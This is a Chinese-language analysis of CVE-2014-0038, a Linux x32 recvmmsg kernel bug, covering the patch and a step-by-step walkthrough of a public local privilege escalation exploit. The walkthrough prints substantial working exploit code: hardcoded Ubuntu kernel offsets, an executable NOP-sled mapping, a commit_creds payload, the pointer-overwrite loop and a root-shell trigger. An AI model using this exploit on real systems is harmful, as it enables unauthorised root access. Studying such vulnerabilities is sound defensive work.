CVE-2014-0038核心漏洞原理與本地提權利用程式碼實現分析
關鍵字:CVE-2014-0038,核心漏洞,POC,利用程式碼,本地提權,提權,exploit,cve analysis, privilege escalation, cve, kernel vulnerability
簡介
2014年1月31號時,solar在oss-sec郵件列表裡公佈了該CVE(cve-2014-0038)。這個CVE涉及到X32 ABI。X32 ABI在核心linux3.4中被合併進來,但RHEL/fedora等發行版並沒有開啟該編譯選項,因此未受該CVE影響。Ubuntu系統在近期的版本中開啟了該選項,因此收該CVE影響。X32 ABI就是在64位環境中使用32位地址,效率有所提升,相關資訊請參照參考資料或google。
漏洞原理
先看該CVE對應的patch
#!c++
diff --git a/net/compat.c b/net/compat.c
index dd32e34..f50161f 100644
--- a/net/compat.c
+++ b/net/compat.c
@@ -780,21 +780,16 @@ asmlinkage long compat_sys_recvmmsg(int fd, struct compat_mmsghdr __user *mmsg,
if (flags & MSG_CMSG_COMPAT)
return -EINVAL;
- if (COMPAT_USE_64BIT_TIME)
- return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
- flags | MSG_CMSG_COMPAT,
- (struct timespec *) timeout);
-
if (timeout == NULL)
return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
flags | MSG_CMSG_COMPAT, NULL);
- if (get_compat_timespec(&ktspec, timeout))
+ if (compat_get_timespec(&ktspec, timeout))
return -EFAULT;
datagrams = __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
flags | MSG_CMSG_COMPAT, &ktspec);
- if (datagrams > 0 && put_compat_timespec(&ktspec, timeout))
+ if (datagrams > 0 && compat_put_timespec(&ktspec, timeout))
datagrams = -EFAULT;
return datagrams;
該CVE引入的原因就是沒有對使用者空間的輸入資訊進行複製處理,直接將使用者空間輸入的timeout
指標傳遞給__sys_recvmmsg
函式進行處理。
正如patch中的修改方式,當timeout
引數非空時,呼叫compat_get_timespec
先對timetout
進行處理,而該函式會對使用者空間的timeout進行copy處理。
#!c++
int compat_get_timespec(struct timespec *ts, const void __user *uts)
{
if (COMPAT_USE_64BIT_TIME)
return copy_from_user(ts, uts, sizeof *ts) ? -EFAULT : 0;
else
return get_compat_timespec(ts, uts);
}
那麼我們再來看傳遞進來的timeout會進行什麼操作呢?在 __sys_recvmmsg裡面。
#!c++
/*
* Linux recvmmsg interface
*/
int __sys_recvmmsg(int fd, struct mmsghdr __user *mmsg, unsigned int vlen,
unsigned int flags, struct timespec *timeout)
{
int fput_needed, err, datagrams;
struct socket *sock;
struct mmsghdr __user *entry;
struct compat_mmsghdr __user *compat_entry;
struct msghdr msg_sys;
struct timespec end_time;
if (timeout &&
poll_select_set_timeout(&end_time, timeout->tv_sec,
timeout->tv_nsec))
return -EINVAL;
datagrams = 0;
sock = sockfd_lookup_light(fd, &err, &fput_needed);
if (!sock)
return err;
err = sock_error(sock->sk);
if (err)
goto out_put;
entry = mmsg;
compat_entry = (struct compat_mmsghdr __user *)mmsg;
while (datagrams < vlen) {
/*
* No need to ask LSM for more than the first datagram.
*/
if (MSG_CMSG_COMPAT & flags) {
err = ___sys_recvmsg(sock, (struct msghdr __user *)compat_entry,
&msg_sys, flags & ~MSG_WAITFORONE,
datagrams);
if (err < 0)
break;
err = __put_user(err, &compat_entry->msg_len);
++compat_entry;
} else {
err = ___sys_recvmsg(sock,
(struct msghdr __user *)entry,
&msg_sys, flags & ~MSG_WAITFORONE,
datagrams);
if (err < 0)
break;
err = put_user(err, &entry->msg_len);
++entry;
}
if (err)
break;
++datagrams;
/* MSG_WAITFORONE turns on MSG_DONTWAIT after one packet */
if (flags & MSG_WAITFORONE)
flags |= MSG_DONTWAIT;
if (timeout) {
ktime_get_ts(timeout);
*timeout = timespec_sub(end_time, *timeout);
if (timeout->tv_sec < 0) {
timeout->tv_sec = timeout->tv_nsec = 0;
break;
}
/* Timeout, return less than vlen datagrams */
if (timeout->tv_nsec == 0 && timeout->tv_sec == 0)
break;
}
/* Out of band data, return right away */
if (msg_sys.msg_flags & MSG_OOB)
break;
}
out_put:
fput_light(sock->file, fput_needed);
if (err == 0)
return datagrams;
if (datagrams != 0) {
/*
* We may return less entries than requested (vlen) if the
* sock is non block and there aren't enough datagrams...
*/
if (err != -EAGAIN) {
/*
* ... or if recvmsg returns an error after we
* received some datagrams, where we record the
* error to return on the next call or if the
* app asks about it using getsockopt(SO_ERROR).
*/
sock->sk->sk_err = -err;
}
return datagrams;
}
return err;
}
該函式中對
#!c++
poll_select_set_timeout(&end_time, timeout->tv_sec,
timeout->tv_nsec))
。設定結束時間。 然後如下的程式碼保證timeout>=0
#!c++
if (timeout) {
ktime_get_ts(timeout);
*timeout = timespec_sub(end_time, *timeout);
if (timeout->tv_sec < 0) {
timeout->tv_sec = timeout->tv_nsec = 0;
break;
}
/* Timeout, return less than vlen datagrams */
if (timeout->tv_nsec == 0 && timeout->tv_sec == 0)
break;
}
此外,poll_select_set_timeout會對timespec進行檢查,因此傳遞進來的timeout的tv_sec與tv_nsec必須符合timeout結構體,也就是構造利用地址的時候,地址上下文必須符合特定內容。
#!c++
/*
* Returns true if the timespec is norm, false if denorm:
*/
static inline bool timespec_valid(const struct timespec *ts)
{
/* Dates before 1970 are bogus */
if (ts->tv_sec < 0)
return false;
/* Can't have more nanoseconds then a second */
if ((unsigned long)ts->tv_nsec >= NSEC_PER_SEC)
return false;
return true;
}
而 include/linux/time.h
中的定義:#define NSEC_PER_SEC 1000000000L
。
到這裡我們知道,只要巧妙的利用timeout的這個特定,構造特定的timeout結構體就可以構造一個特定的地址出來,這樣我們就實現提權操作了。
利用程式碼分析
當前在exploit-db上有2個利用程式碼,利用原理基本相同,只是選用的構造地址的結構體不同,本文選用http://www.exploit-db.com/exploits/31347/中的exploit程式碼進行分析。
本exploit程式碼和其他很多核心提權程式碼利用方式大致相同,透過使用有漏洞的系統呼叫將一個特定的核心函式地址修改成使用者空間地址,然後將提權程式碼對映到對應地址的使用者空間中,這樣當使用者呼叫被修改的特定函式時,核心便執行了相關的提權程式碼。以下對應該利用程式碼進行詳細說明。
大家都知道,在64位系統中,由於地址較多,核心空間和使用者空間只需透過高几位是否為0或1進行區分,核心空間地址的範圍是0xffff ffff ffff ffff~0xffff 8000 0000 0000
,而使用者空間的地址範圍是0x0000 7ffff ffff ffff~0x0000 0000 0000 0000
。因此只需使用timeout的流程將高位的1變成0即可。
該exploit程式碼使用net_sysctl_root
結構體的net_ctl_permissions
函式指標進行利用。由於各個核心版本中不同函式對應的地址不同,因此定義了一個結構體存放各個核心核心版本的函式地址,這樣就可以在多個寫了特定核心地址的核心上完成提權操作。
#!c++
struct offset {
char *kernel_version;
unsigned long dest; // net_sysctl_root + 96
unsigned long original_value; // net_ctl_permissions
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
};
struct offset offsets[] = {
{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
{NULL,0,0,0,0}
};
Exploit程式開始就使用該函式對映結構體對當前核心進行檢查,獲取出要使用的函式地址指標offsets[i]
。
然後使用net_ctl_permissons
的地址進行頁對齊,之後將高6*4位變成0,即設定為使用者空間地址。
#!c++
mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
mmapped &= 0x000000ffffffffff;
之後以該地址為基址map一段記憶體空間,設定該map區域可寫、可執行。先用0x90填充該map區域,構造滑梯。然後將提權程式碼複製到該map區域。
#!c++
mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(mmapped == -1) {
perror("mmap()");
exit(-1);
}
memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);
if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
perror("mprotect()");
exit(-1);
提權程式碼是非常傳統的核心提權程式碼,透過呼叫commit_creds
修改程式creds
資料結構。注意commit_creds
和prepare_kernel_cred
也是由特定於核心版本的核心地址資訊獲得,因此也包含在offset結構體中,需要依據特定的核心版本進行設定。
#!c++
static int __attribute__((regparm(3)))
getroot(void *head, void * table)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
void __attribute__((regparm(3)))
trampoline()
{
asm("mov $getroot, %rax; call *%rax;");
}
準備環境已經就緒,接下來就需要呼叫有漏洞的__NR_recvmmsg來進行地址修改。即修改net_sysctl_root
中permissions
指標的數值。
#!c++
static struct ctl_table_root net_sysctl_root = {
.lookup = net_ctl_header_lookup,
.permissions = net_ctl_permissions,
};
而ctl_table_root的定義為:
#!c++
struct ctl_table_root {
struct ctl_table_set default_set;
struct ctl_table_set *(*lookup)(struct ctl_table_root *root,
struct nsproxy *namespaces);
int (*permissions)(struct ctl_table_header *head, struct ctl_table *table);
};
透過計算ctl_table_root
可知:Permissions
的位置為net_sysctl_root+96
。
這樣依次使用系統呼叫的timeout將.permissions的值的高6*4位從之前的1修改為0即可。
#!c++
for(i=0;i < 3 ;i++) {
udp(i);
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->desti);
if(!retval) {
fprintf(stderr,"\nrecvmmsg() failed\n");
}
}
透過使用三次該系統呼叫,依次將0xFF** **** **** ****
,0x00FF **** **** ****
, 0x0000 FF** **** ****
的FF
修改為00
.
執行完畢後,提權程式成功將permissions
指向了填充了提權程式碼的使用者空間中。注意:這裡必須從高位開始處理,由於各個程式是並行處理的,因此無法準確的保證timeout值和sleep值完全匹配,又由於timeout值的tv_sec>=0,因此只要從高位依次處理就可以避免借位的情況發生。這裡也是結構體選取的條件之一。
由於0xff*3 = 765
,因此該提權程式需要13分鐘才能將permissions
指向的地址值變成使用者空間的地址值。
萬事具備,只欠東風。只要使用者呼叫修改後的net_sysctl_root->permissions
即可。
#!c++
void trigger() {
open("/proc/sys/net/core/somaxconn",O_RDONLY);
if(getuid() != 0) {
fprintf(stderr,"not root, ya blew it!\n");
exit(-1);
}
fprintf(stderr,"w00p w00p!\n");
system("/bin/sh -i");
}
到此,該CVE分析完畢。不得不說該CVE的原理雖然比較簡單,但實現最後利用修過的手法還是非常巧妙的,值得學習。
參考
1、http://en.wikipedia.org/wiki/X32_ABI
相關文章
- WordPress SQL隱碼攻擊漏洞與提權分析2015-08-25SQL
- 重要預警 | Ubuntu 16.04 4.4 系列核心本地提權漏洞2018-03-20Ubuntu
- Linux 提權-核心利用2024-06-04Linux
- GNU/Linux程式崩潰分析框架漏洞導致核心提權風險2015-04-17Linux框架
- Potato家族本地提權分析2020-12-01
- VMware Tools本地提權漏洞CVE-2022-31676分析與復現(1)2022-09-14
- Windows PrintDemon提權漏洞分析2020-05-25Windows
- Linux利用UDF庫實現Mysql提權2021-09-09LinuxMySql
- 最新發現!Windows 11也受本地提權漏洞HiveNightmare影響2021-07-22WindowsHive
- 利用萬用字元進行Linux本地提權2018-07-05字元Linux
- Windows核心提權漏洞CVE-2014-4113分析報告2020-08-19Windows
- RCE(遠端程式碼執行漏洞)原理及漏洞利用2022-03-17
- HashMap 實現原理與原始碼分析2019-04-26HashMap原始碼
- Windows原理深入學習系列-Windows核心提權2022-03-15Windows
- Redis核心原理與實踐--事務實踐與原始碼分析2021-11-10Redis原始碼
- Windows域提權漏洞CVE-2022-26923分析與復現2022-06-23Windows
- Linux提權————利用SUID提權2018-05-23LinuxUI
- vysor原理與程式碼實現2018-12-25
- 利用for命令提權2012-05-02
- 【Redis】跳躍表原理分析與基本程式碼實現(java)2020-05-06RedisJava
- Linux 核心最新高危提權漏洞:髒管道 (Dirty Pipe)2022-03-16Linux
- FoxMail 本地密碼破解(提取) ,逆向分析與實現2019-02-02AI密碼
- Docker 核心技術與實現原理2017-12-14Docker
- 履約核心引擎低程式碼化原理與實踐2023-05-18
- CVE-2016-0040 濫用GDI 核心提權漏洞2018-08-28
- Redis核心原理與實踐--列表實現原理之ziplist2021-09-16Redis
- Wordpress4.2.3提權與SQL隱碼攻擊漏洞(CVE-2015-5623)分析2020-08-19SQL
- Linux核心分析--系統呼叫實現程式碼分析(轉)2007-08-17Linux
- Redis核心原理與實踐--Redis啟動過程原始碼分析2021-10-28Redis原始碼
- OpenMP Parallel Construct 實現原理與原始碼分析2023-01-25ParallelStruct原始碼
- CVE-2022-0847 Linux DirtyPipe核心提權漏洞2022-11-23Linux
- 第十四篇:Apriori 關聯分析演算法原理分析與程式碼實現2017-01-19演算法
- Android 熱更新實現原理及程式碼分析2015-11-15Android
- PHP本地檔案包含漏洞環境搭建與利用2020-08-19PHP
- 富集分析的原理與實現2021-10-29
- Redis核心原理與實踐--列表實現原理之quicklist結構2021-09-19RedisUI
- 西部資料(WD)My Cloud 網路儲存裝置存在本地提權漏洞2018-02-06Cloud
- Windows提權實戰——————3、PcAnyWhere提權2018-05-20WindowsPCA